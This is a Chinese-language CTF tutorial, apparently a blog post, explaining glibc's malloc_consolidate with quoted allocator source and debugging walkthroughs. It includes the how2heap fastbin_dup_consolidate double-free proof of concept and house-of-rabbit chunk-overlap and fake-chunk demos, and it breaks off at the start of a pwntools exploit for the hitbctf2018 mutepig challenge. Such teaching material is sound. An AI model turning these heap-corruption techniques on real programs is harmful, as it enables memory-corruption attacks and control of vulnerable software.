前置知识

malloc_consolidate函数

  • malloc中有一个函数,这个函数是一个特别的版本的free合并,之前我们在malloc流程分析的时候会看到有free合并,这个操作就是通过malloc_consolidate这个函数来实现的。consolidate在英文中就有合并的意思。

image-20250306150614976

  • 我们就来介绍一下这个函数的具体过程:
    • malloc_consolidate首先会从存储堆块大小更小的fastbin逐一遍历里面的chunk,每遍历到一个chunk,就会处理这个chunk
      • 如果这个chunk的prev_inuse位为0就会进行后向合并
      • 如果这个chunk的相邻高地址chunk是top_chunk,它就会和top_chunk合并
      • 如果这个chunk的相邻高地址chunk是空闲的,该chunk就会进行前向合并
      • chunk如果没有与top chunk相邻就会使用头插法将被处理的chunk放入unsorted bin
      • 如果chunksize不在smallbin的范围内就先会设置fd_nextsizebk_nextsizeNULL

相关代码

  • 首先执行consolidate最重要的就是malloc_consolidate这个函数,主要就看malloc_consolidate主要的作用和mallocfree中何时调用malloc_consolidate这个函数
相关宏定义
1
2
3
4
5
// 告诉malloc之后要整理fastbin
#define clear_fastchunks(M) catomic_or (&(M)->flags, FASTCHUNKS_BIT)

// 获取unsorted_bin
#define unsorted_chunks(M) (bin_at (M, 1))
malloc_consolidate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
/*
------------------------- malloc_consolidate -------------------------

malloc_consolidate is a specialized version of free() that tears
down chunks held in fastbins. Free itself cannot be used for this
purpose since, among other things, it might place chunks back onto
fastbins. So, instead, we need to use a minor variant of the same
code.

Also, because this routine needs to be called the first time through
malloc anyway, it turns out to be the perfect place to trigger
initialization code.
*/

static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;

/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/

if (get_max_fast () != 0) {
clear_fastchunks(av);

unsorted_bin = unsorted_chunks(av);

/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/

maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;

/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ( (p = nextp) != 0);

}
} while (fb++ != maxfb);
}
else {
malloc_init_state(av);
check_malloc_state(av);
}
}

  • 接下来介绍触发malloc_consolidate这个函数的五个地方

触发点1

_int_malloc_触发malloc__consolidate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 /*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/

else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}

触发点2

_int_malloc中使用malloc_consolidate(top chunk)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
    use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).

We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/

victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (have_fastchunks (av))
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}

/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}

触发点3

_int_free中malloc_consolidate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    /*
If freeing a large space, consolidate possibly-surrounding
chunks. Then, if the total unused topmost memory exceeds trim
threshold, ask malloc_trim to reduce top.

Unless max_fast is 0, we don't know if there are fastbins
bordering top, so we cannot tell for sure whether threshold
has been reached unless fastbins are consolidated. But we
don't want to consolidate on each free. As a compromise,
consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
is reached.
*/

if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (have_fastchunks(av))
malloc_consolidate(av);

if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
if ((unsigned long)(chunksize(av->top)) >=
(unsigned long)(mp_.trim_threshold))
systrim(mp_.top_pad, av);
#endif
} else {
/* Always try heap_trim(), even if the top chunk is not
large, because the corresponding heap might go away. */
heap_info *heap = heap_for_ptr(top(av));

assert(heap->ar_ptr == av);
heap_trim(heap, mp_.top_pad);
}
}

触发点4

malloc_trim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/*
------------------------------ malloc_trim ------------------------------
*/

static int
mtrim (mstate av, size_t pad)
{
/* Don't touch corrupt arenas. */
if (arena_is_corrupt (av))
return 0;

/* Ensure initialization/consolidation */
malloc_consolidate (av);

const size_t ps = GLRO (dl_pagesize);
int psindex = bin_index (ps);
const size_t psm1 = ps - 1;

int result = 0;
for (int i = 1; i < NBINS; ++i)
if (i == 1 || i >= psindex)
{
mbinptr bin = bin_at (av, i);

for (mchunkptr p = last (bin); p != bin; p = p->bk)
{
INTERNAL_SIZE_T size = chunksize (p);

if (size > psm1 + sizeof (struct malloc_chunk))
{
/* See whether the chunk contains at least one unused page. */
char *paligned_mem = (char *) (((uintptr_t) p
+ sizeof (struct malloc_chunk)
+ psm1) & ~psm1);

assert ((char *) chunk2mem (p) + 4 * SIZE_SZ <= paligned_mem);
assert ((char *) p + size > paligned_mem);

/* This is the size we could potentially free. */
size -= paligned_mem - (char *) p;

if (size > psm1)
{
#if MALLOC_DEBUG
/* When debugging we simulate destroying the memory
content. */
memset (paligned_mem, 0x89, size & ~psm1);
#endif
__madvise (paligned_mem, size & ~psm1, MADV_DONTNEED);

result = 1;
}
}
}
}

#ifndef MORECORE_CANNOT_TRIM
return result | (av == &main_arena ? systrim (pad, av) : 0);

#else
return result;
#endif
}

触发点5

_int_mallnfo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
static void
int_mallinfo (mstate av, struct mallinfo *m)
{
size_t i;
mbinptr b;
mchunkptr p;
INTERNAL_SIZE_T avail;
INTERNAL_SIZE_T fastavail;
int nblocks;
int nfastblocks;

/* Ensure initialization */
if (av->top == 0)
malloc_consolidate (av);

check_malloc_state (av);

/* Account for top */
avail = chunksize (av->top);
nblocks = 1; /* top always exists */

/* traverse fastbins */
nfastblocks = 0;
fastavail = 0;

for (i = 0; i < NFASTBINS; ++i)
{
for (p = fastbin (av, i); p != 0; p = p->fd)
{
++nfastblocks;
fastavail += chunksize (p);
}
}

avail += fastavail;

/* traverse regular bins */
for (i = 1; i < NBINS; ++i)
{
b = bin_at (av, i);
for (p = last (b); p != b; p = p->bk)
{
++nblocks;
avail += chunksize (p);
}
}

m->smblks += nfastblocks;
m->ordblks += nblocks;
m->fordblks += avail;
m->uordblks += av->system_mem - avail;
m->arena += av->system_mem;
m->fsmblks += fastavail;
if (av == &main_arena)
{
m->hblks = mp_.n_mmaps;
m->hblkhd = mp_.mmapped_mem;
m->usmblks = mp_.max_total_mem;
m->keepcost = chunksize (av->top);
}
}

触发点6

mallopt函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
int
__libc_mallopt (int param_number, int value)
{
mstate av = &main_arena;
int res = 1;

if (__malloc_initialized < 0)
ptmalloc_init ();
(void) mutex_lock (&av->mutex);
/* Ensure initialization/consolidation */
malloc_consolidate (av);

LIBC_PROBE (memory_mallopt, 2, param_number, value);

switch (param_number)
{
case M_MXFAST:
if (value >= 0 && value <= MAX_FAST_SIZE)
{
LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
set_max_fast (value);
}
else
res = 0;
break;

case M_TRIM_THRESHOLD:
LIBC_PROBE (memory_mallopt_trim_threshold, 3, value,
mp_.trim_threshold, mp_.no_dyn_threshold);
mp_.trim_threshold = value;
mp_.no_dyn_threshold = 1;
break;

case M_TOP_PAD:
LIBC_PROBE (memory_mallopt_top_pad, 3, value,
mp_.top_pad, mp_.no_dyn_threshold);
mp_.top_pad = value;
mp_.no_dyn_threshold = 1;
break;

case M_MMAP_THRESHOLD:
/* Forbid setting the threshold too high. */
if ((unsigned long) value > HEAP_MAX_SIZE / 2)
res = 0;
else
{
LIBC_PROBE (memory_mallopt_mmap_threshold, 3, value,
mp_.mmap_threshold, mp_.no_dyn_threshold);
mp_.mmap_threshold = value;
mp_.no_dyn_threshold = 1;
}
break;

case M_MMAP_MAX:
LIBC_PROBE (memory_mallopt_mmap_max, 3, value,
mp_.n_mmaps_max, mp_.no_dyn_threshold);
mp_.n_mmaps_max = value;
mp_.no_dyn_threshold = 1;
break;

case M_CHECK_ACTION:
LIBC_PROBE (memory_mallopt_check_action, 2, value, check_action);
check_action = value;
break;

case M_PERTURB:
LIBC_PROBE (memory_mallopt_perturb, 2, value, perturb_byte);
perturb_byte = value;
break;

case M_ARENA_TEST:
if (value > 0)
{
LIBC_PROBE (memory_mallopt_arena_test, 2, value, mp_.arena_test);
mp_.arena_test = value;
}
break;

case M_ARENA_MAX:
if (value > 0)
{
LIBC_PROBE (memory_mallopt_arena_max, 2, value, mp_.arena_max);
mp_.arena_max = value;
}
break;
}
(void) mutex_unlock (&av->mutex);
return res;
}

触发malloc_consolidate函数

  • 现在我们来探究一下何时何时会触发这个函数。这里我参考的是实验部分的注释,实验部分的注释已经讲得很明白了,什么时候会触发malloc_consolidate函数。
  • 这里我们就通过几个小而简短的代码,来看看如何触发malloc_consolidate函数。
1
2
3
4
5
1. _int_malloc: 一个处于large sized范围的chunk正在被分配
2. _int_malloc: 没有适合的bins被寻找重新申请回去并且top chunk太小了不能满足malloc的申请
3. _int_free: 如果这个chunk的大小>= FASTBIN_CONSOLIDATION_THRESHOLD (65536)
4. mtrim: 总是调用
5. __libc_mallopt: 总是调用

触发方式一(申请large sized大小)

  • 其实申请smallbin范围大小的堆块也能触发malloc_consolidate但是这个触发机制还有点迷,就不先介绍了。

  • 当我们申请一个堆块,该堆块的大小处于large bin管理的堆块大小范围内,malloc_consolidate函数就会被触发。

  • 示例代码1,当释放的堆块和top_chunk相邻的时候:

    • 申请0x400大小,也就是在large bin范围中大小的堆块,就会触发malloc_consolidate
    • fast_bin中的堆块都取出来,相邻堆块的合并,并且放入unsorted_bin
    • 在这里由于unsorted_bintop_chunk相邻,所以unsorted_bin就会与top_chunk合并
    • 之后就是直接申请0x400堆块的大小
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<malloc.h>

unsigned long long int a[10];

int main()
{
unsigned long long int stack1[10];
void* ptr[20];
ptr[0] = malloc(0x20);
free(ptr[0]);

ptr[5] = malloc(0x400);
return 0;
}

image-20250607010906900

Snipaste_2025-06-07_01-09-14

image-20250607010926078

  • 示例代码2,当所处fast_bin中的堆块不与top_chunk相邻:
    • 申请0x400大小的堆块时,触发malloc_consolidate
    • 将处于fastbin中堆块取出,放入unsorted_bin
    • 然后发现unsorted_bin中的堆块不能满足0x400大小的申请,就把unsorted_bin中的堆块放入small_bin中,之后程序还是会从top_chunk切割下来一块内存
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include<malloc.h>

unsigned long long int a[10];

int main()
{
unsigned long long int stack1[10];
void* ptr[20];
ptr[0] = malloc(0x20);
ptr[1] = malloc(0x20);
free(ptr[0]);

ptr[5] = malloc(0x400);
return 0;
}

image-20250607011643252

image-20250607011659199

  • 示例代码3,malloc_consolidate会fastbin中相邻的堆块,使得组成更大的一个堆块:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<malloc.h>

unsigned long long int a[10];

int main()
{
unsigned long long int stack1[10];
void* ptr[20];
ptr[0] = malloc(0x20);
ptr[1] = malloc(0x20);
ptr[2] = malloc(0x20);
free(ptr[0]);
free(ptr[1]);
ptr[5] = malloc(0x400);
return 0;
}

image-20250607011531605

image-20250607011543828

  • 示例代码4,只要是相邻的即使不在同一个fastbin也是直接合并。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<malloc.h>

unsigned long long int a[10];

int main()
{
unsigned long long int stack1[10];
void* ptr[20];
ptr[0] = malloc(0x20);
ptr[1] = malloc(0x30);
ptr[2] = malloc(0x40);
ptr[3] = malloc(0x50);
ptr[4] = malloc(0x20);
free(ptr[0]);
free(ptr[2]);
//free(ptr[2]);
//free(ptr[]);
ptr[5] = malloc(0x400);
return 0;
}

image-20250607012211387

image-20250607012219499

  • 示例代码5,物理地址不相邻的无法合并,各自放入small_bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<malloc.h>

unsigned long long int a[10];

int main()
{
unsigned long long int stack1[10];
void* ptr[20];
ptr[0] = malloc(0x20);
ptr[1] = malloc(0x30);
ptr[2] = malloc(0x40);
ptr[3] = malloc(0x50);
ptr[4] = malloc(0x20);
free(ptr[0]);
free(ptr[2]);
// free(ptr[2]);
// free(ptr[3]);
ptr[5] = malloc(0x400);
return 0;
}

image-20250607012335656

image-20250607012348246

实验一

  • 该实验也是来自github项目中的how2heap,在how2heap中,这个实验的文件名叫做fastbin_dup_consolidate.c
  • 注意:house_of_rabbit这个利用方式很多,主要就是利用malloc_consolidate,至于伪造堆块的方式,可以在做题中进行归纳。
  • 该实验的漏洞利用过程其实不太明显,但是能比较清晰的告诉我们如果触发malloc_consolidate

源码(英文)

源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

/*
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8

This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
directly due to the previnuse check.

malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
if possible.

As of glibc version 2.35 it is called only in the following five places:
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)

We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
This means our chunk will need to be of size >= 0x400 (it is thus large-sized).

*/

int main() {
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\n");

void* p1 = calloc(1,0x40);

printf("Allocate a fastbin chunk p1=%p \n", p1);
printf("Freeing p1 will add it to the fastbin.\n\n");
free(p1);

void* p3 = malloc(0x400);

printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
printf("a chunk with chunk size 0x410. p3=%p\n", p3);

printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");

assert(p1 == p3);

printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
free(p1); // vulnerability

printf("So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\n");
printf("chunk got consolidated with it. We have thus achieved UAF!\n");

printf("We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\n");
printf("p3 and p1 will still be pointing to it.\n");
void *p4 = malloc(0x400);

assert(p4 == p3);

printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
printf("and both point to the same large-sized chunk. p3=%p p4=%p\n", p3, p4);
printf("We have achieved duplication!\n\n");
return 0;
}

源码(中文)

  • 还是老样子,把这个代码翻译一遍
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

/*
源代码来源: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8

这个文档主要被使用展示malloc——consolidate并且它怎样被double free充分利用从而获得两个指向相同大小chunk的指针,这两个指针一般情况下由于previnuse检查很难被常规的利用.

malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714)
本质上是合并所有相邻的处于fastbin中的堆块,合并后会将这个大堆块放入unsorted bin中,并且如果可以就会将top合并.


在glibc 2.35中它仅仅在以下五个地方被调用:
1. _int_malloc: 一个处于large sized范围的chunk正在被分配(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
2. _int_malloc: 没有bins被寻找到并且top chunk太小了(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
3. _int_free: 如果这个chunk的大小>= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
4. mtrim: 总是调用 (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
5. __libc_mallopt: 总是调用 (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)

我们将在第一个地方触发, 因此我们将需要分配一个不属于smallbin的堆块 (因为我们尝试进入这个检查的else分支中: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
这意味着我们的chunk的size >= 0x400 (它因是large-sized).

*/

int main() {
printf("这个技术充分利用malloc_consolidate和double free去创造一个UAF或者一对large-sized chunk\n");

void* p1 = calloc(1,0x40);

printf("分配一个fastbin大小的chunk p1=%p \n", p1);
printf("释放p1所指向的堆块,这个堆块将被放入fastbin中.\n\n");
free(p1);

void* p3 = malloc(0x400);

printf("为了触发malloc_consolidate,我们需要再分配一个chunk,这个这个chunk的大小位于large chunk的范围(size>=0x400)\n");
printf("对应着我们malloc传递的参数要求>= 0x3f0. 这里我们使用malloc(0x400), 这时我们将申请到\n");
printf("一个大小为0x410的堆块.其堆地址为: p3=%p\n", p3);

printf("\nmalloc_consolidate 将p1指向的堆块(这个堆块已经被放入fastbin中了)与top chunk合并.\n");
printf("p3所指向的堆块是从top chunk中切割下来的,因为没有没有bins储存的chunk比我们p3所指向的堆块大. 因此, p1 = p3.\n");

assert(p1 == p3);

printf("我们将对double free p1, 现在p1指向的是0x410大小的chunk,这个chunk我们只分配给p3.\n\n");
free(p1); // vulnerability

printf("因此p1处于double freed的状态, and尽管p3现在指向的是top chunk但是p3还没有被释放,因为我们的chunk\n");
printf("与它(top chunk)合并.我们实现了UAF!\n");

printf("我们将申请一个0x400大小的chunk, 这会使得我们能从top_chunk得到0x410大小的chunk\n");
printf("p3 and p1 将仍然指向之前的堆块.\n");
void *p4 = malloc(0x400);

assert(p4 == p3);

printf("我们现在有两个指针(p3 and p4),这两个指针并不能直接被释放\n");
printf("并且这两个指针都指向相同的large-sized chunk. p3=%p p4=%p\n", p3, p4);
printf("我们直线了duplication!\n\n");
return 0;
}

调试

  • 接下来我们跟着实验的代码去动调走一走。我们先使用calloc这个函数申请了0x40大小的堆块

image-20250307090316390

  • 然后我们会将这个堆块释放,这个堆块释放后并不会马上与Top chunk合并,还是会先放入fastbin中。

image-20250307090545217

  • 然后我们再申请一个处于large bin范围的大小,这里我们选择申请0x400大小的堆块,这时malloc为了减小系统调用的次数,malloc这个函数就会将fastbin中的空闲堆块进行处理。如果处理的堆块与top_chunk相邻该堆块就会与top chunk合并,然后我们所申请的0x400大小堆块的地址就是上图中的fastbin中的地址

image-20250307091145769

  • 此时p1指针还没有被置0,这时我们就还可以对p1进行释放,这时我们就可以看到,当我们释放p1这个指针的时候就会使得我们所申请的0x400大小的堆块释放后与top_chunk合并,这时top_chunk的地址就变成了我们原来申请的堆块的地址

image-20250307091529801

  • 之后我们再申请0x400大小的堆块,这样我们的p3指针和p4指针就指向了同一个堆块。

image-20250307092126413

  • 这个实验的利用方式是通过UAF漏洞来进行利用的,而在CTF_wikihouse-of-rabbit其实有两种利用方式,第一种其实就是利用UAF漏洞去修改fd指针。
  • 而第二种可以通过UAF或者堆溢出的漏洞去修改size位,从而构造出堆叠。

利用方式

  • house of rabbit主要就是实现堆叠劫持fd指针。接下来我们举两个实例程序来深入了解一下house of rabbit的这个漏洞利用。

利用方式一

  • 修改size位,从而构造堆叠。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<string.h>
#include<stdio.h>
#include<stdlib.h>

int main(){

unsigned long* chunk1=malloc(0x40);
unsigned long* chunk2=malloc(0x40);
unsigned long* chunk3=malloc(0x10);
unsigned long* chunk4;

free(chunk1);
free(chunk2);
chunk1[-1]=0xa1;
chunk4=malloc(0x1000); // 触发fastbin合并

chunk1[0]="chunk1";
chunk2[0]="chunk2";
chunk3[0]="chunk3";
chunk4[0]="chunk4";

return 0;
}
  • 先来直接调试一下,程序先申请了这样的一个堆块

image-20250607013344330

  • 然后再释放堆块

image-20250607013417338

  • ​ 此时我们就可以利用堆溢出这个漏洞修改已经在fastbin中堆块的size

image-20250607013518308

  • 此时我们就构造出了一个堆叠,假如我们通过溢出,修改size位为0xc1这样中间那块0x20大小的堆块也会被堆叠进去,此时其实就能够构造出UAF漏洞了。

image-20250607013620031

利用方式二

  • 修改fd指针
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(){

unsigned long* chunk1=malloc(0x40);
unsigned long* chunk2=malloc(0x100);
unsigned long* chunk3;
unsigned long* chunk4;

chunk1[0]="chunk1";
chunk2[0]="chunk2";
chunk2[1]=0x31; // fake chunk1->size 0x30
chunk2[7]=0x21; // fake chunk2->size 0x20
chunk2[11]=0x21; // fake chunk3->size 0x20
/* P位都必须为'1'(fastbin chunk的P位总是为'1') */
/* 其实这里这样操作不是为了绕过检查,而是为了防止consolidate时报错 */
free(chunk1);
chunk1[0]=chunk2;

chunk3=malloc(5000);
chunk4=malloc(0x20);
chunk3[0]="chunk3";
chunk4[0]="chunk4";

return 0;
}
  • 先申请两个堆块

image-20250607014350888

  • 然后伪造堆块

image-20250607014627804

image-20250607014740598

  • 申请一个large bin大小的堆块

image-20250607014851940

  • 此时我们就能申请到伪造的堆块。

image-20250607015046380

house_of_rabbit_level_1

  • 接下来我们就来写一题。
  • 这题的题目来源:pwn_hitbctf2018_mutepig

level1_分析1

  • 拿到附件我们就先来check一下这些保护机制。发现开启了如下的保护机制。
  • got表可以修改,然后PIE没有开启。

image-20250321221015123

  • 接下来我们先来静态分析一下这个程序的具体运行逻辑。先来查看main函数,main函数的运行逻辑如下(我们先根据程序的大致逻辑,修改了函数名称):
    • 首先main函数会先进行输入输出初始化即调用init_()函数
    • 调用完init_()函数后就会调用gift()这个函数。(之后具体查看一下,就明白为什么我会重命名为gift函数)
    • 之后就是进入一个菜单的循环,循环实现的是这三个功能

image-20250321221502831

  • 我们现在来查看一下gift这个函数,这个函数会执行system("cat banner.txt"),这就相当于我们有system这个函数了,我们就节省了泄露libc地址这一步。

image-20250321221743356

  • 之后我们来查看一下add()这个函数,这个函数的执行逻辑大概可以分成两个部分
    • 第一个部分就是让用户输入选项,输入123三个选项的其中一个就会申请相应大小的堆块,这里如果输入13337就会申请一个非常大的堆块(只能申请一次)。
    • 当申请失败的时候程序就会直接返回
    • 之后用户可以向刚申请的堆块写入0x7字节的数据,第0x8个字节会变成空字节。
    • 之后再对ptr这个指针数组进行遍历操作,将我们刚申请的堆块放入ptr这个指针数组空闲的位置中,在放入之前还会检查数组是否越界。

image-20250321222116773

  • 然后我们再查看edit这个选项
    • 可以向用户指定的堆块重新写入0x8字节,实际写入0x7字节,最后一个字节会置0
    • 然后还会像全局变量str读入48个字节,即读入0x30字节。

image-20250321222817448

  • 之后我们查看delete这个函数,这个函数实现的功能就为释放用户指定的堆块。注意:这里存在UAF漏洞,也就是说我们可以修改堆块的fd指针

image-20250321223035155

level_1分析2

  • 接下来我们就先写好exp中与程序的交互部分。这时我们发现这个程序没有文字说明,就是纯交互。
  • exp中交互的部分如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.terminal = ["tmux", "neww"]
context.log_level = 'debug'
p = process('./mutepig_fix')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(choose):
p.sendline(b'1')
p.sendline(str(choose).encode('utf-8'))

def delete(idx):
